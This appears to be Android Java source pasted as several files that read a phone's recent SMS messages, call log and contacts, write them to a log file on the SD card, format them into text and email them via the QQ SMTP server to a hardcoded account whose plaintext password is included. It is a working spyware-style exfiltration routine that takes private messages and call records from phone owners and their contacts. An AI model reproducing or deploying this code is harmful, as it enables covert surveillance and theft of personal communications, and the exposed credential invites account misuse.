import java.util.Date;
import java.util.Properties;
import first.test.MyUtils;
public class MailSenderInfo {
public String mailServerHost = "smtp.qq.com";
public String mailServerPort = "25";
public String no = "578647937";
public String fromAddress = no + "@qq.com";
public String toAddress = no + "@qq.com";
public String userName = no;
public String password = "Yk7686Yk";
public String subject = MyUtils.formatTime(new Date());
public String content;
public Properties getProperties(){
Properties p = new Properties();
p.put("mail.smtp.host", this.mailServerHost);
p.put("mail.smtp.port", this.mailServerPort);
p.put("mail.smtp.auth", "true");
return p;
}
}
--------------------------------------------------------------
package com.util.mail;
import java.util.Date;
import java.util.Properties;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class MultiMailsender {
public static void sendTextMail(MailSenderInfo mailInfo) throws Exception {
MyAuthenticator authenticator = new MyAuthenticator(mailInfo.userName, mailInfo.password);
Properties pro = mailInfo.getProperties();
Session sendMailSession = Session.getDefaultInstance(pro, authenticator);
Message mailMessage = new MimeMessage(sendMailSession);
Address from = new InternetAddress(mailInfo.fromAddress);
mailMessage.setFrom(from);
Address[] tos = new InternetAddress[1];
tos[0] = new InternetAddress(mailInfo.toAddress);
mailMessage.setRecipients(Message.RecipientType.TO, tos);
mailMessage.setSubject(mailInfo.subject);
mailMessage.setSentDate(new Date());
mailMessage.setText(mailInfo.content);
Transport.send(mailMessage);
}
}
-----------------------------------------------
package com.util.mail;
import javax.mail.Authenticator;
import javax.mail.PasswordAuthentication;
public class MyAuthenticator extends Authenticator {
private String strUser;
private String strPwd;
public MyAuthenticator(String user, String password) {
this.strUser = user;
this.strPwd = password;
}
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(strUser, strPwd);
}
}
-------------------------------
package first.test;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.util.mail.MailSenderInfo;
import com.util.mail.MultiMailsender;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.provider.ContactsContract;
public class MyUtils {
private static boolean logSwitch = true;
private static PrintWriter pw = null;
private static ArrayList<HashMap<String, Object>> contactList = null;
static{
try {
FileWriter fw = new FileWriter("/sdcard/log.txt", true);
pw = new PrintWriter(fw);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void Log(String content){
if(!logSwitch){
return;
}
pw.println(formatTime(new Date()) + " " + content + "\r\n");
pw.flush();
}
public static void closeStream(){
pw.close();
}
//
public static String formatTime(Date date){
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
return sdf.format(date);
}
public static String formatLongTime(long time){
Date date = new Date(time);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
return sdf.format(date);
}
/*
* 获取最近的短信息
*/
public static ArrayList<HashMap<String, String>> getSms(Context context){
try{
String time = (new Date().getTime() - 5 * 24 * 60 * 60 * 1000) + "";
Uri SMS_CONTENT = Uri.parse("content://sms/");
Cursor cursor = context.getContentResolver().query(
SMS_CONTENT,
new String[]{ "address", "date", "type", "body" },
"date > " + time,
null,
null
);
Log("短消息获取完毕");
int index = 0;
ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
HashMap<String, String> map = null;
String number = "";
while(cursor.moveToNext()){
map = new HashMap<String, String>();
number = cursor.getString(cursor.getColumnIndex("address"));
if(!isNormalNumber(number)){
continue;
}
map.put("address", number);
map.put("person", getPersonNameByNumber(context, number));
map.put("date", cursor.getString(cursor.getColumnIndex("date")));
map.put("type", cursor.getString(cursor.getColumnIndex("type")));
map.put("body", cursor.getString(cursor.getColumnIndex("body")));
list.add(map);
Log(map.get("person"));
Log(cursor.getString(cursor.getColumnIndex("body")));
index++;
if(index > 4){
break;
}
}
cursor.close();
return list;
} catch(Exception ex){
Log(ex.getMessage());
}
return null;
}
public static ArrayList<HashMap<String, String>> getCallList(Context context){
String time = (new Date().getTime() - 5 * 24 * 60 * 60 * 1000) + "";
Cursor cursor = context.getContentResolver().query(
CallLog.Calls.CONTENT_URI,
new String[]{ CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION },
CallLog.Calls.DATE + " > " + time,
null,
null
);
int index = 0;
ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
HashMap<String, String> map = null;
String number = "";
while(cursor.moveToNext()){
map = new HashMap<String, String>();
number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
if(!isNormalNumber(number)){
continue;
}
map.put("number", number);
map.put("person", cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME)));
map.put("date", cursor.getString(cursor.getColumnIndex(CallLog.Calls.DATE)));
map.put("type", cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE)));
map.put("duration", cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION)));
list.add(map);
Log(map.get("number"));
Log(map.get("person"));
Log(map.get("duration"));
Log(formatLongTime(Long.parseLong(map.get("date"))));
index++;
if(index > 4){
break;
}
}
cursor.close();
return list;
}
/*
*
*/
public static String getPersonNameByNumber(Context context, String number){
if(contactList == null){
getContactList(context);
}
if(number == null){
return null;
}
for(HashMap<String, Object> map : contactList){
if(!map.containsKey("phones")){
continue;
}
ArrayList<String> phoneList = (ArrayList<String>)map.get("phones");
for(String phone : phoneList){
if(number.equals(phone) || number.indexOf(phone) != -1 || phone.indexOf(number) != -1){
return (String)map.get("name");
}
}
}
return null;
}
/*
* 获取联系人信息列表
*/
private static void getContactList(Context context){
Cursor cursor = context.getContentResolver().query(
ContactsContract.Contacts.CONTENT_URI,
null,
null,
null,
null
);
contactList = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = null;
ArrayList<String> phoneList = null;
while (cursor.moveToNext()){
map = new HashMap<String, Object>();
phoneList = new ArrayList<String>();
// 每个联系人的唯一ID
String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
// 获得联系人的名字
String name = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.Contacts.DISPLAY_NAME));
// 查看给联系人是否有电话,返回结果是String类型,1表示有,0表是没有
String hasPhone = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
map.put("contactId", contactId);
map.put("name", name);
if (hasPhone.equals("1")) {
Cursor phones = context.getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
new String[]{ ContactsContract.CommonDataKinds.Phone.NUMBER },
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId,
null,
null
);
while (phones.moveToNext()) {
phoneList.add(
phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))
);
}
phones.close();
map.put("phones", phoneList);
}
contactList.add(map);
}
cursor.close();
}
/*
* 是不是普通号码,排除服务号码,如10086、10010
*/
private static boolean isNormalNumber(String number){
Pattern p = Pattern.compile("1[358]\\d{9}");
Matcher m = p.matcher(number);
if(m.find()){
return true;
}
return false;
}
/*
* 发送邮件
*/
public static void sendMail(String content) {
MailSenderInfo mailInfo = new MailSenderInfo();
mailInfo.content = content;
try{
MultiMailsender.sendTextMail(mailInfo);
Log("send end .");
} catch (Exception ex){
Log(ex.getMessage() + " sendMail");
}
}
public static String formatSmsShow(ArrayList<HashMap<String, String>> smsList){
StringBuilder sb = new StringBuilder();
String type = "";
for(HashMap<String, String> map : smsList){
type = map.get("type");
sb.append((type.equals("1") ? "from" : "to") + " : " + map.get("person") + "\n");
sb.append((type.equals("1") ? "from" : "to") + " number : " + map.get("address") + "\n");
sb.append("time : " + formatLongTime(Long.parseLong(map.get("date"))) + "\n");
sb.append("type : " + (type.equals("1") ? "receive" : "send") + "\n");
sb.append("body : " + map.get("body") + "\n\n");
}
Log(sb.toString());
return sb.toString();
}
}